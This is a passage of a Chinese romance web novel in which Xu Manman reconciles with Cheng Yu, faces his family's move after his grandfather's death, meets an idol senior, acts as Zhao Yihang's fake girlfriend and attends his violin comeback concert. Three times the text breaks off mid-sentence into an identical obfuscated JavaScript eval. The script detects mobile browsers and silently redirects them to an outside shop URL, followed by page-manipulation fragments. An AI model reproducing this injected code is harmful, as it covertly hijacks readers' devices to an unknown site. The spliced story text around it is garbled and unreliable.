“给我看看,怎么样了?” 说的是她腿上的伤,许曼曼没想到他会直接问,愣了一下才回答。 “没事了,上了药包扎好了。” “我看一下。”他用的不是疑问的语气。 “哦。” 于是许曼曼把镜头对准腿上,给他看了眼包着纱布的伤口。 其实伤口也不大,这样显得好像严重一点,但她今天都没感觉到疼了。 程喻像是听到她内心活动似的,问了句。 “还疼吗?” 许曼曼把镜头转回来:“不疼了。” 看着他眯起眼睛,有些怀疑的样子,又强调了一下。 “真的。” “怎么弄的?” “就是下雨天嘛,路有点滑,不小心摔了。” 像什么都没发生似的,他们和之前一样照常的对话。 程喻刚才还真的是在洗澡,头发都没吹干,正湿漉漉的滴着水,身上的白色T恤洇出了水迹。 “那个,程喻。”许曼曼叫他,有些犹豫地问,“你不生气了?” 话题转换,他表情没变。 看着她,语气淡淡的。 “如果我还在生气呢?你准备怎么办?” 这话有些熟悉,但许曼曼不记得是在哪里听过。 正思考着,程喻却像是绷不住似的,笑了。 她有些茫然地看过去,听到他问。 “你在听什么?” “啊?” 她愣了一下,这才反应过来,音箱里还在放着大悲咒。 难怪刚才开始,就觉得哪里怪怪的。 大悲咒的环绕音中,气氛不怪才比较怪吧。 她连忙切掉音乐,室内一下子安静下来,只有空调工作的声音。 “我怎么不知道。”程喻还在笑着,“你什么时候对佛教感兴趣了?” 他语气很轻快,许曼曼不由自主也放松下来,哼了一声。 “你不知道的事还多着呢。” 说完看了眼旁边,告诉他。 “等我一下。” 客厅角落里放着林乔的吉他,这是她的宝贝一号,走到哪里背到哪里,来实习都要千里迢迢背过来,虽然根本也没时间弹,只是放在那里落灰。 许曼曼把手机立在一边,起身去拿了过来。 “吉他?” 看她抱着吉他坐回到镜头前,程喻问了声。 “这是?” “不知道你还生不生气了。”她低头试了试音,“如果还生气的话,唱首歌给你听吧。” 没听到回答,抬眼看过去,他手撑着头,正目不转睛地看她。 对上视线,笑了笑。 “听听看。” “想听什么?” “随便。”他说,“你选。” 许曼曼会弹的歌其实不多,只有之前跟林乔学的几首,都是很基础的旋律。 她想了想:“那就这首吧。” “我为什么总在非常脆弱的时候怀念你 我明白 太放不开你的爱 太熟悉你的关怀 分不开 想你算是安慰还是悲哀 而现在 就算时针都停摆 就算生命像尘埃 分不开 我们也许反而更相信爱” 她边想谱边弹,几乎慢了半拍,唱得也不是很好,洒满阳光的房间里,有些生涩的声音。 唱到这里就停下,看着镜头,有些不好意思地笑了。 “我只记到这里。” 程喻全程安安静静地听着,闻言也笑了。 那边只开了一盏灯,光影错落间,他笑起来的样子实在很好看,眼神又太温柔,许曼曼呼吸一滞,几乎有些不敢直视,默默转开了眼睛。 “还真是有很多我不知道的事。” 他声音也很温柔,带着一丝笑意。 于是许曼曼又看过去,然后,试探性地问。 “你不生气了?” “没生过气。”他说,“对你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827601|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 许曼曼下意识地想要反驳,却听到后话。 “是对我自己生气。” “嗯?”她有些不明白。 “我的错,不该挂电话,但真的没有在生你的气。” “你这话有点矛盾。”许曼曼皱起眉头,嘟嘟囔囔的,“那你还不理我呢,发消息也不回。” 她该说的倒是一句没少说。 “所以对不起,我道歉。”程喻说,“但这两天,我想清楚一些事情。” “什么?” “秘密。” 说完看到她的表情,又笑了。 “你也有我不知道的事啊。” “好吧。” 许曼曼想了想,觉得还是有必要解释清楚,于是把那天的经过讲了一下。 “当然,抽烟的事是我不对,以后不会了。” “嗯。”他点头,“我知道了。” “那,我们算是和好了?” “本来也没不好啊。”他笑着说,“所以不算。” “……小鱼。” 许曼曼还在抱着吉他,把头靠在上面。 “其实我有点想你。” 程喻脸上的笑顿住。 “曼曼。” 他说,眼神和声音都很轻。 “别说漂亮话骗人。” “没骗人。”许曼曼直视着他的眼睛,“真的想你了。” 这是她第一次承认这件事。 * 想念隔了十二小时的时差,随着暑假临近尾声,总算也要结束了。 许曼曼的实习结束,先回了家,还可以享受最后一周多的假期。 程喻比她晚一点,还要两天才能回来。 可是在他回来的前一天,妈妈下班回家,表情凝重。 “小喻爷爷情况不太好。” 程喻爷爷突发脑溢血,消息传来的时候已经送去医院,程喻爸爸妈妈都回去了。 程喻本来是第二天上午回来,临时改签当晚的航班,直接回了云溪。 但还是晚了一步,回去的时候人已经走了。 一家人留在云溪处理后事,这中间程喻的生日也过去了。 许曼曼在当天给他打了电话,说了生日快乐。 程喻声音听着没什么情绪,告诉她。 “我明天回去。” 谁也没想到,这不算久别的重逢会是这样的。 第二天下午许曼曼算着时间去找他,刚出了家门,就看到他正从路口那边过来。 于是她停住脚步,默默看着他。 看着他像有什么心事似的,垂着眼睛走路,没什么表情,也并没有察觉到自己正在被注视。 隔着不近不远的距离,和下午的阳光,他看起来好像有些变化,又好像没有。 终于他察觉到来自前方的目光,在几米远的距离之外,朝她伸出手。 “曼曼,过来。” 她跳下台阶,几步就跑到他面前。 然后被紧紧抱住。 没有人开口,只是一个长久的沉默的拥抱,但好像什么都说了。 这种时候总是会去小公园。 夕阳温热地流淌着,秋千上反射出暖色的光,沙坑边依然有小孩在挖沙子,这里的一切都是静止的、被封存的,好像永远都不会变。 对十九岁的许曼曼来说,这里就是她的乌托邦。 她坐到秋千上,程喻也还是像以前那样,站在后面帮她推。 心情却奇异地荡不起来,像被什么压住,沉沉的。 余光掠过自己飞扬的蓝色裙角,是橙色夕阳下一面小小的帆。 然后她听到程喻说。 “我们可能要搬回云溪了。” 这就是,这个漫长夏天的结尾。 31. 女朋友 搬去另一个城市当然不是那么快的事,可是暑假已经要结束了。 程喻只在家待了两天,先回了学校。 许曼曼开学要晚一点,但也没剩几天了。 直到这时,她也没有真正接受这个事实,关于她和程喻青梅竹马的时光,就这样猝然结束。 程喻爷爷去世,奶奶身体也不好,需要人照顾。于是程喻爸爸申请调回云溪,等到这边的事情处理完,一家人就会搬回去。 所以下次程喻放假的时候,家就在云溪,不在星港了。 房子虽然不会卖,还是留着,但人都回云溪的话,也没什么分别。 许曼曼心里有种空落落的感觉,说不出来的难受。 要走的前一天,她本来是要出门买杂志,却忍不住走去了程喻家,在外面看着,还是不敢相信下次回来,这里就没人住了。 去了书店,想要的杂志又断货,老板说要下周才能来新的,可是明天她就回学校了。 就是这么诸事不顺,她站在书店门口,视线茫然扫过对面,却看到了一个意想不到的身影。 一瞬间站直,然后四处看了看,发现没人注意,这才小心走了过去。 人靠在墙边,正低头发着消息。 “学长?” 她声音小得像是特务接头。 大夏天的,他还穿着件外套,帽子罩在头上,也正因为这个,许曼曼才会多看一眼的。 “曼曼?”他抬眼一看,笑了,“这么巧?” 还真是学长。 没想到久违了的见面,会是这个时候,在这里遇到。 他最近正血雨腥风,出道不到半年就退了团,被团粉cp粉追着骂,日子应该不好过。 暂时消失了的这段日子,没想到是回来星港了。 许曼曼看着他,感觉有好多话想说,有好多问题想问,又不知道该怎么开口。 他瘦了,显得个子更高了,瘦瘦长长一条人,比屏幕上看起来更加立体精致的脸,好看得有些惊人。 只是看着没什么气色,黑眼圈有点重,和之前那个明媚的学长比起来,有些阴郁的感觉。 应该是刚买了专辑,手里还拎着音像店的袋子。 他倒是没什么顾虑,问了句。 “一起走走?” “你……”许曼曼又四处看了看,才小声说,“你能随便走吗?” “为什么不能。” 他被许曼曼逗笑了,抬手揉了揉她的脑袋。 “没有那么夸张,我毕竟——” 语气装得很可怜,其实满满都是笑意。 “——只是个刚退了团的无业游民啊。” “什么嘛。” 许曼曼也笑了。 * 去了海边,已经是八月底,下午的风吹得人很清爽,海面风平浪静,是再平常不过的夏日午后。 这边游客很多,走在人群中,许曼曼忍不住又担心起来。 学长倒是也没说得那么轻松,外套的帽子还罩在头上,又戴上了口罩。 这样两人也没办法说话,许曼曼在旁边暗自警惕,顺便扮深沉。 “要吃冰淇淋吗?” 学长先开口,指了指不远边的麦当劳。 这间开在海边的麦当劳,很大一间,一共有三层。 两人进去,许曼曼要了麦旋风,学长只点了一杯可乐。 上了三层,上面大又空阔,一整面正对着大海的落地窗,不过现在这个时间,阳光照进来还有点晒,靠近窗边的座位也没什么人坐。 两人坐到角落的位置,从许曼曼这个角度看过去,刚好是一整片大海。 学长坐在她对面,摘了口罩,帽子也总算摘了下来。 应该是新染的头发,有点浅的棕色,很青春男大的感觉。 许曼曼舀了口麦旋风,看着他坐在对面喝可乐的样子,还是有些难以置信。 快一年没见,他都已经是会在电视屏幕上出现的,粉丝很多流量很大的爱豆,可现在两人面对面,好像还是以前的学长。 察觉到她的视线,学长目光从窗外收回来。 “怎么了?” “没什么。”许曼曼摇了摇头,“学长,你什么时候回来的?” “昨天。”他说,“今晚就要走。” “哇,那我好幸运!刚好遇到了!” 许曼曼有些兴奋,又告诉他。 “我明天也要回学校了。” “是哦。”他若有所思的样子,“到开学的时候了。” 说起这个,许曼曼问他。 “学长,你还会回去把书读完吗?” 没想到他回答得很干脆。 “应该不会了。” “啊……” 许曼曼只说出这一个字,想再问下去,又觉得不太好。 关于他退团的事,最近闹得沸沸扬扬,各种说法也很多。现在虽然当事人就在眼前,她也不知道该不该问,该怎么问。 学长却很随便地告诉了她。 “接下来会去拍戏。” “……是吗?” 许曼曼愣了下,随即眼睛亮了。 “是《狐狸雨》吗?” 这是最近有在传的,说他要进的组,热门小说改编的青春校园剧,男主人设很好,是非常不错的资源。 “是。”他有些惊讶,“你知道?” “我当然知道!我很关注你的,学长!”许曼曼立刻表忠心,“而且我觉得你很适合!这剧绝对会大火的!” “好吧,那就借你吉言。” 学长笑了,搅了搅杯子里的冰块。 “你呢?最近怎么样?” 她其实没有什么新鲜事,能拿出来说的更是不多。 想了想,有些不好意思地说。 “那个,我还没跟你说过吧,我和程喻在一起了。” “这个不意外。” “啊?真的吗?” “可能也就你觉得意外吧。”学长说,“你很好懂的。” 要是别人说这话许曼曼肯定会反驳,但学长这么说,她想了想,也就承认了。 “好像是有点。” 又告诉他程喻要搬走的事。 “云溪都没有海。” 她声音有点赌气的意思,好像这就是什么定论了。 “曼曼。”学长看着她,微微笑了,“海没有什么重要的。” 窗外就是晴空下的大海,阳光在海面铺开一片灿烂。 而他背对着这片金色的大海,对她说。 “人最重要。” * 开学了,她离开有海的星港,回到西岭。 这里九月份还是热得让人怀疑人生,宿舍里却弥漫着淡淡的哀愁。 基调是李思慕分手了。 她的学长今年毕业,没有留在西岭,回了老家工作。 李思慕是西岭本地人,相隔太远,原本做好了异地恋的打算,仅仅过了一个暑假,竟然走到了分手这一步。 那些原本可以轻易解决的矛盾,出了校园,似乎就变得困难起来。 她说,突然发现好像也没那么喜欢他了。 暑假实习而已,回来之后,每个人却都好像历经沧桑。 大三只剩几门专业课,空闲时间变多,考研考公都已经提上了日程,而有的闲人,比如许曼曼,社团活动还在继续。 彭悦然升上大四,听音社的社长宝座,被交给了更可靠的贺潇,许曼曼也荣升副社长,莫名就成了领导层。 新学年招新,赵宜杭仍旧是她们的活招牌,在当天被贺潇强行拉过来露脸,充当吉祥物。 他头发又换了颜色,现在是粉毛,在整个广场招新的人群中,最粉的一颗脑袋。 一年过去,这人魅力不减,新生里又来了不少女生报名,嘻嘻哈哈推推搡搡的,都在偷偷看他。 粉毛只坐在那里玩游戏,头都不抬。 “我们这社团是不是应该改名了。” 中午去吃饭的时候,许曼曼对贺潇说。 “全都是冲着他来的,改联谊社得了。” “那我们叫听音社,也根本没一起听过音乐啊。”贺潇倒是无所谓,“比起这个,我现在担心的是等到他退了,社团该怎么维持下去。” “再找个帅的呗。”许曼曼随口说,“当然了,这种程度的比较困难,不知道有没有小帅一点的愿意加入。” “也不是不行。”贺潇看着她,语气真诚,“赵宜杭不是因为你才来的吗,有没有什么经验分享给下一代,把这个优良传统延续下去。” “……完了。”许曼曼无语,“你知道自己现在特像彭悦然吗,是她给你下药了吗?还是症状会通过社长这个职位传播?” “我还担心他谈恋爱,那对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841769|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们也会是致命打击。” 贺潇自顾自地说,又问她。 “他没谈吧?” “你现在又特像赵宜杭梦女粉。”许曼曼说,“不过放心,他谈不了的,没人跟他谈。” 但是话才说了没两天,许曼曼上午去了趟行政楼,出来就看到赵宜杭和一个女生在一起。 虽然隔着一段距离,但他那头粉毛实在是扎眼,让人想认不出都难。 倒也没有看着多亲密,但赵宜杭这种人,和女生单独待在一起还是比较少见的。 而且他看起来有些不一样,没有平时那种松弛的感觉,手背在身后,看似随意,其实有些僵硬。 许曼曼回宿舍是要走这条路的,正琢磨着迎面走过去还是等一会儿,赵宜杭突然一个抬眼,看到了她。 “曼曼!” 这人从来没这么亲热地叫过她,更是连连招手,示意她过去。 许曼曼带着狐疑的心情走上前,还没站定就被他一把揽过去,手搭在肩上。 她有些莫名其妙地转头,对上一个意味深长的眼神。 然后,都没有给她反应的时间,就听到介绍。 “这就是我跟你说过的,许曼曼,我的女朋友。” ——哈? 许曼曼还没消化掉“女朋友”这三个字,他又介绍了对方。 “这是姜蔚。” ——姜蔚? 两个字,许曼曼立刻明白发生了什么。 注意力从赵宜杭转到眼前的姜蔚身上,对方笑着打了招呼。 “你好。” 于是许曼曼暂且忽略掉肩上那只爪子,回以微笑。 “你好。” 其实还有一句,久仰大名。 已经听过那么多关于她的事,这还是第一次见到本人。 而随着答案揭晓,从刚才就隐隐约约产生的,那种说不出哪里奇怪的感觉终于浮出水面。 许曼曼必须承认,两人的确有几分相似,尤其眉眼之间。 倒不至于是照镜子的感觉,但乍一看是会有点惊讶。 不过风格完全不一样,姜蔚看起来个性更足,厚厚的齐刘海,耳朵上挂了一堆耳饰,妆也要浓一些,整个人有种淡淡的厌世感。 “我来你们学校工作,就顺便和六——宜杭见个面。”她对许曼曼说,“很高兴见到你,应该一起吃个饭的,不过我待会有事,下次有机会吧。” “好。”许曼曼点头,“我也很高兴,赵宜杭经常跟我提起你。” “是吗?”她有些惊讶的样子,看向赵宜杭,“没说我坏话吧?” 赵宜杭却没回答,看了眼手表。 “你知道艺术楼怎么走吧?” “嗯。” 她跟着看了眼时间,又转向许曼曼。 “曼曼,可以这么叫你吗?” “可以的。”许曼曼忙点头。 “我约的采访时间快到了,就先走了。” “好,那你去忙吧,拜拜。” “拜拜。” 说完,她又对赵宜杭说了声。 “我先走了。” “嗯。” 赵宜杭很敷衍地应了声,许曼曼感觉他都没看她。 姜蔚也不在意,独自转身往艺术楼的方向走去。 她个子比许曼曼还要高一点,高挑的背影,长发散在身后,背着一个有点大的斜挎包,看起来很像艺术学院会出现的女生。 不过她本来也才刚毕业,根据赵宜杭的说法,她比许曼曼要大两届,上半年从日本回来了,现在在东澜一家时尚杂志工作。 “刚才要是我不配合的话,你打算怎么办?” 姜蔚背影消失在视线里的那一刻,许曼曼问他。 没听到回话,转头去看,发现他还在盯着那边。 这人从刚才起就沉默得有些异常,除了最开始亲亲热热的那声称呼,几乎感受不到他的情绪。 “没什么打算。”他收回视线,“相信你。” “哼,有我这么讲义气的朋友,你就偷着乐吧。” 但是她想了想,又说。 “不对啊,我们俩长得确实有点像,你找个跟她像的女朋友,不是显得你心里有鬼?” “我心里就是有鬼啊。” 他露出了今天第一个真心的笑容,说出的话却像吐着蛇信子。 “谁都不要好过。” 32. 异地 除了给赵宜杭当这莫名其妙的假女友之外,其实许曼曼有在好好当正牌女友的。 和她们专业比起来,程喻上了大□□而更忙了,课很多实验也很多,空闲时间几乎没有。 于是多数时间,变成她去华都找他,也陪他去上过一次课。 是什么课忘记了,总之就是他们专业那些天书一样的课程。 许曼曼一个高中化学都学不好的人,看教授的PPT像一堆乱码,听不懂,在周围一群认真听讲的学霸中间,又不好意思玩手机,于是就撑着脸发呆,昏昏欲睡。 竟然还真的睡过去了,意识朦胧的瞬间,头往旁边歪过去,刚好撞到程喻肩上。 有点疼,她一下子清醒过来。 还有些没弄清楚状况,程喻抬手给她揉了揉脸颊。 轻声问她:“疼不疼?” 她这才反应过来,连忙摇头,又把他脸转过去。 “听你的课,别管我。” 下课之后,她打着哈欠看程喻收拾书包。 “好丢脸,我再也不要来了。” “大家都觉得孙教授讲课太快,很难跟上进度。”程喻嘴角含笑,牵过她的手,“你是第一个觉得催眠的。” “……闭嘴吧!” 许曼曼被他牵着往外走,用另一只手掐他。 “你管我!” 他由着她掐,还要提醒。 “小心脚下。” 就这么闹着出了教室,外面却有人在等。 是傅雅宁。 这学期来得次数多了,和她有打过几次照面。她和程喻是同系不同班,刚才课上其实也见过,就坐在旁边不远的位置,没想到出来了还在等程喻。 程喻也有些惊讶的样子,问她有什么事。 她却没有立即开口,目光扫过许曼曼,先打了个招呼。 于是许曼曼也笑着问了好,这才开始说正事。 只是她听着听着又开始走神,跟刚才孙教授的课差不多效果,总之就是什么课题啊实验啊,要多催眠有多催眠。 而且本来以为就几句话的事,没想到却是一句接一句,有种无穷无尽的感觉。 许曼曼神游天外回来,没有转头,也能感觉到程喻有点不耐烦了。 “我晚点再看。”他说,直接打断了她的话,“其他问题你整理一下,邮件给我吧。” 傅雅宁却还有些意犹未尽似的,顿了顿,目光再次转向许曼曼。 许曼曼刚刚才忍住一个哈欠,眼睛发酸,和她对上视线,尴尬一笑。 “那好。” 傅雅宁没有笑,点了点头,转身离开。 “你还有事?”许曼曼揉着眼睛问他,“不是说今天上完课就没事了?” 程喻没回答,轻轻拍了下她的手。 “不要揉眼睛。” 看着她拿开手,这才说:“没事,这实验还没开始,不着急。” 她看着傅雅宁的背影消失在走廊尽头,“哦”了一声。 去吃饭的时候,赵宜杭突然打来了电话。两个人基本不太会电话交流的,于是许曼曼有些疑惑地接了起来。 没想到是社团的事,活动中心最近要翻修,所有社团统一换到另一栋楼,今天正搬活动室,赵宜杭打算把她那个懒人沙发给处理了。 “不行。”她连忙制止,“赵宜杭,你敢,那可是我的命,你敢给我处理了试试。” “给你换新的。”他说,“我懒得搬,这个送给书画社吧,正好有人想要。” “你就懒死吧。”许曼曼骂他,“社里总共才几个男生,搬个懒人沙发还能给少爷你累着?我警告你,回去看不到沙发我就宰了你。” “行吧行吧。”少爷叹了口气,“那我花钱找人搬。” 他那边一团忙乱,许曼曼还要隔空指挥,确保自己的花盆和海报也都被安全带走。 搬地方本来说好了是下周,没想到突然提前了,就有点乱糟糟的。 又说了一些无关紧要的,她一抬眼,就看到程喻也不吃饭,正一门心思盯着她看。 她回以疑问的眼神,他却没什么反应,只淡淡一笑。 挂了电话,她拿起筷子,问了句。 “怎么了?” “有必要聊这么久吗?” “嗯?” “饭都凉了。” 他把汤碗推给她,语气轻描淡写的。 * 晚上去看了电影,是许曼曼爱豆主演的,最近才在国内上映,她当然要去电影院支持。 算上在西岭看过的四次,这已经是她第五次重刷,剧情早就烂熟于心,但看到最后还是哭掉大半包纸巾。 出来之后程喻给她买了冰淇淋,吃完心情才好起来。 回去已经挺晚了,许曼曼洗完澡出来,这人还在看电脑。 她抹着护手霜走过去,还没靠到椅子扶手上,余光瞄到他手上动作迅速,几乎是下意识地切换掉了页面。 许曼曼愣住,他却装作没事人的样子,抬手摸了摸她手臂。 “不冷吗?” 许曼曼无语:“你要么就手速快点,要么就装得像一点,怎么着,我是瞎吗?” “……” “给我看。”她命令道,“快点,切回去。” 程喻犹豫了下,但还是听话地切了回去,从文献页面换回了邮箱。 许曼曼瞪了他一眼,凑近屏幕一看,邮件内容却是全英文的,发件人似乎是国外一个教授。 大概看了看,实在很长的一封邮件,而且除了开头结尾几句客套话,其他内容超出了她能力范围,都是些专业名词和缩写,宛如天书。 她往后一靠,宣告放弃。 “算了,什么玩意。” 程喻手搭在她腰上,笑了声。 “不看了?” “就算要干什么坏事,都愿意花心思用英文写了,我也原谅你了好吧。” 许曼曼拍了下他不老实的手,站起身。 “继续努力,我去睡了。” 她昨晚就没睡好,所以白天才一直犯困,一天下来也的确是累了,都没有关灯,上了床倒头就睡。 不知道过了多久,半梦半醒间,感觉到有凉意钻进被子,程喻从背后环抱住了她。 她睡得迷迷糊糊的,以为是自己占了太多地方,于是好心往旁边挪了挪,给他让出位置。 对方却又跟了过来,似乎没有不想把人吵醒的打算,亲了亲她的耳垂。 “干吗?” 呼吸带着热气,弄得她耳根发痒,许曼曼勉强睁开眼睛,抬手想要挡光,但屋内只开了床头一盏壁灯,没有很亮。 于是转头问他:“弄完了?” “嗯。” 他随便应了一声,亲吻的动作继续,一只手扶住她脖颈,直接把人扳了过来。 “别弄。”许曼曼往后躲,“有点痒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857215|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,又抬手去摸他下巴。 “你没刮胡子?” “早上刮了。”他按住她的手,亲了亲手指,“扎人吗?” “嗯。”她试图缩回手,但没成功。 这时终于清醒了大半,问他。 “几点了?” “不知道。” 他又亲了过来,下巴上的胡茬蹭上去痒痒的,让她忍不住想笑。 又伸手去推人:“离我远点。” “不要。” 他这么说着,一只手攥住她的手,一只手直接擒住脸颊,吻了过来。 许曼曼的笑被堵住,推拒的手也没了力气,挣扎了两下就没结果了。 只剩下那盏昏黄的壁灯,在旁边安静地亮着,直到很晚。 * 许曼曼第二天睡到很晚。 程喻上午满课,早早就起床去了学校,中午下了课回来,她还在睡。 他身上还带着外面的寒气,就这么连人带被子把抱住,亲了亲她的脸颊,冷得她一个激灵,这才醒了。 睁眼看到眼前这人得逞的笑容,伸手掐了他一把。 “刮胡子了吗?” “刮了。”他又凑过来亲她,“你检查一下。” “谁要检查啊!” 闹了一会儿许曼曼才起,洗漱完就坐到了窗边,晒着太阳发呆。 程喻在旁边帮她收拾行李,她下午的飞机回西岭。 “下次见还不知道在哪里呢。” 许曼曼手撑着脸,看他把自己的护肤品一一收起来。 她寒假又要去东澜,台里联系她回去实习,这期间有个人文科技展,要做一档非常重要的专题,科技组这边很缺人手。 大三快要过去一半,虽然还没完全明确自己未来的方向,但许曼曼想了想,觉得这是个不错的机会,不管以后会不会留下,起码不能现在就放弃,于是答应了。 但这样假期也算是报销了,她放假当天就要去东澜,只有过年那几天才能回家,又提前过上了上班族的生活。 而且这次没了林乔,只能自己一个人住,于是在电视台附近找了间公寓,会比那种小区安全一点。 程喻假期则要留校,他所在的课题组项目正进行到关键阶段,过年期间实验也不能停。 “我去东澜找你。”他说,“云溪和东澜距离反而更近。” “但是过年的时候我回星港啊。” 说起这个,许曼曼语气有点低落。 “你又不回星港。” “回啊,你回我就回。” 程喻把包收好,走了过来。 “好了,去吃饭吧?饿不饿?” 她没回答,仰起脸看他。 “怎么感觉我们永远在异地。” 他笑了:“没异地的时间十几年,那时你又不喜欢我。” 说完,这人故作忧郁地叹了口气。 许曼曼狠狠掐了他一下,想了想又问。 “那寒假你们课题组都有谁在?” “应该都在吧。”他一副漠不关心的样子,“不清楚。” “哦,那你们每天待在一起呗。” 她没有说名字,但想起傅雅宁是华都人,肯定会在的。 “‘你们?’”程喻说,“还有谁?实验器材?” 看到她的表情,这才笑了。 “跟谁在一起不重要,想跟谁在一起才重要。” 33. 晚安 其实习惯了电视台生活的话,就会觉得和在学校区别不大。 每天上班下班,在食堂吃饭,周末偶尔出去玩一下,除了自己一个人住之外,真的差不太多。 当然,也有可能是她被班味浸染,已经开始自我洗脑了。 年后赵宜杭的乐团公开彩排,刚好是在周六,许曼曼没什么事,就跟着去凑了热闹。 这人在上学期把小提琴重新捡了起来,而且好像是认真的。 每天练琴,每周回东澜上课,这次放假更是练得刻苦,只找她玩过一次。 其实看他西岭的住处就能知道,其实从来也没放下过,应该是每天都有在练习的。 一个被车撞了都要先检查小提琴的人,怎么可能放得下。 他原本天赋就高,又有人脉,回来直接跟着小提琴大师段一霄上课。 许曼曼一个对小提琴没什么了解的人,都听过这个名字,好像原本就是他妈妈的恩师,这下母子俩也算是师从同门了。 这次和东澜交响乐团合作,也是段一霄牵线,是他时隔三年以协奏曲回归。 周六晚上的这场彩排,排练厅里坐得满满当当。 还没进场的时候,许曼曼在外面听到讨论,这才知道很多都是来看赵宜杭的。 这位曾经的天才小提琴手,消失三年又回来,现如今水平如何,探究的目光自然少不了。 许曼曼只是听个热闹,但过程中看周围人的反应,以及结束后的鼓掌欢呼声,就知道他应该是成功了。 结束后等在外面,看到他背着琴盒出来的一瞬间,竟然觉得有些陌生。 他现在是很浅的金发,没做造型,被风吹得有些凌乱,几乎遮住眼睛。 外面还有人在等,大概是乐迷之类的,上前跟他搭话,他简单回应了两句,看到站得有点远的许曼曼,朝她走了过来。 “怎么样?” 笑起来的时候,倒还是那个熟悉的赵宜杭。 “你以后还是拉琴吧。”许曼曼真心实意地说,“这样看起来才像个正经人。” “听着不像夸奖。”他说,带着她往停车场通道走,“明天来吗?” “来!”许曼曼猛点头,又问,“只有我来吗?” “不然还有谁?” “这要问你啊,东澜是你家又不是我家,你爸爸不会来吗?” “他不在国内。”他无所谓地说,“就算在也不会来的。” 他家里的事向来说得不多,于是许曼曼也就没有问下去。 直到看到停车场里停着的车。 这人才刚拿到驾照没多久,上次两人一起出去,就是他得瑟驾照到手,非要载她兜风,当时是开了家里的一辆车。 而眼前这一辆,分明是新车。 看着这张扬的标志和车型,许曼曼有些惊讶。 “你的?” “嗯。”他开了前备箱安置琴箱,“我爸送的。” 因为空间不太够,三角琴箱要斜着放才可以。 放好开了车门,见她还站在原地不动,问了句。 “怎么了?” “我心里不太舒服。”许曼曼说,“你明天还开原来那辆可以吗,我这个人比较朴实,过不惯太奢靡的生活。” 其实原来那辆也并不朴实,只是没这辆看起来这么夸张。 “朴实?”赵宜杭一声冷笑,“对蜜雪冰城过敏的是谁我忘了。” “……我真的过敏!” “过敏原是?” “……钱!我对钱过敏可以了吧!” * 第二天就是音乐会,许曼曼上午去加了半天班,但还是认真捯饬了一下自己,穿了带来东澜的衣服中最正式的一条小裙子,又去花店给他买了花。 在老板娘的推荐下,选了白绿色系的花束,很大一捧,抱着去了大剧院。 灯火辉煌的音乐厅,是和校庆舞台完全不同的概念,站上去,整个人都像被镀上一层金色的光芒。 赵宜杭从昨天的T恤牛仔裤换成了演出服,金色头发做了造型,光影间一种矛盾的契合感,感觉气质都变了。 演奏完毕,全场起立鼓掌,欢呼声海浪一样涌向前,比起谢幕,倒更像是大幕重新拉开。 他不会留下来听后半场,说好了中场结束就走,于是许曼曼也提前离场,一路踩着欢呼声往后走,门都在身后关上了,里面还隐隐有声音传出来。 去礼宾处领取了寄存的花束,就到后台出口等着他。 这次要等得久一些,周围等待的人也更多,明明还有下半场,但却陆陆续续在来人。 都在讨论刚才的演出,似乎他回归的效果比预期还要好。 有人就是看了昨天彩排流出的片段,临时从外地赶来的,说是票都被炒了起来,还要加价收。 许曼曼抱着花玩手机,有一搭没一搭听着,直到前方传来躁动的声音,抬头就看到赵宜杭背着琴箱出来了。 他已经换了衣服,穿着一件黑色大衣,脸上还带着妆,金色发丝在灯光下近乎透明,更衬出眉眼如画,在寒风中一种凛冽的好看。 等候的人都凑上前去,有送花的,有要签名的,也有单纯表达喜爱之情的。 跟随出来的工作人员帮忙挡了挡,他收了两束花,没有签名合影,走过来看到同样抱着花的许曼曼,笑了。 他背着琴,怀里又抱了两束花,已经不方便再拿了,许曼曼也就没有递过去,只简单竖了大拇指。 工作人员把他们送到停车场就离开了,这人倒是很听话,真换回了之前那辆车。 看到许曼曼认同的表情,他耸了耸肩,开了后备箱把花放了进去。 这才转身看她:“所以这到底是不是给我的?” “不是。”许曼曼递给他,“路上捡的,想要的话就给你吧。” 他笑了,接过去,低头闻了闻那花。 停车场灯光有些暗,他身上还背着琴盒,低头的样子实在很好看,许曼曼从包里拿出了拍立得,是今天特意带来的。 “抬头。”她说,“给你拍一张。” 于是就这样在停车场里,给他留下了回归后的第一张纪念。 * 车开出大剧院之后,许曼曼问他。 “今天真的就我来了啊?” “不然呢?” “你这不行啊小赵同学。”许曼曼摇了摇头,点评道,“没朋友啊。” “早跟你说了我很可怜的。”他这种话张口就来,“所以待会你买单?” “要不要脸?”许曼曼骂他,“让一个实习工资都没有的人请你吃饭?给你买花已经花光我全部积蓄了!” “不是捡的吗?” “……” 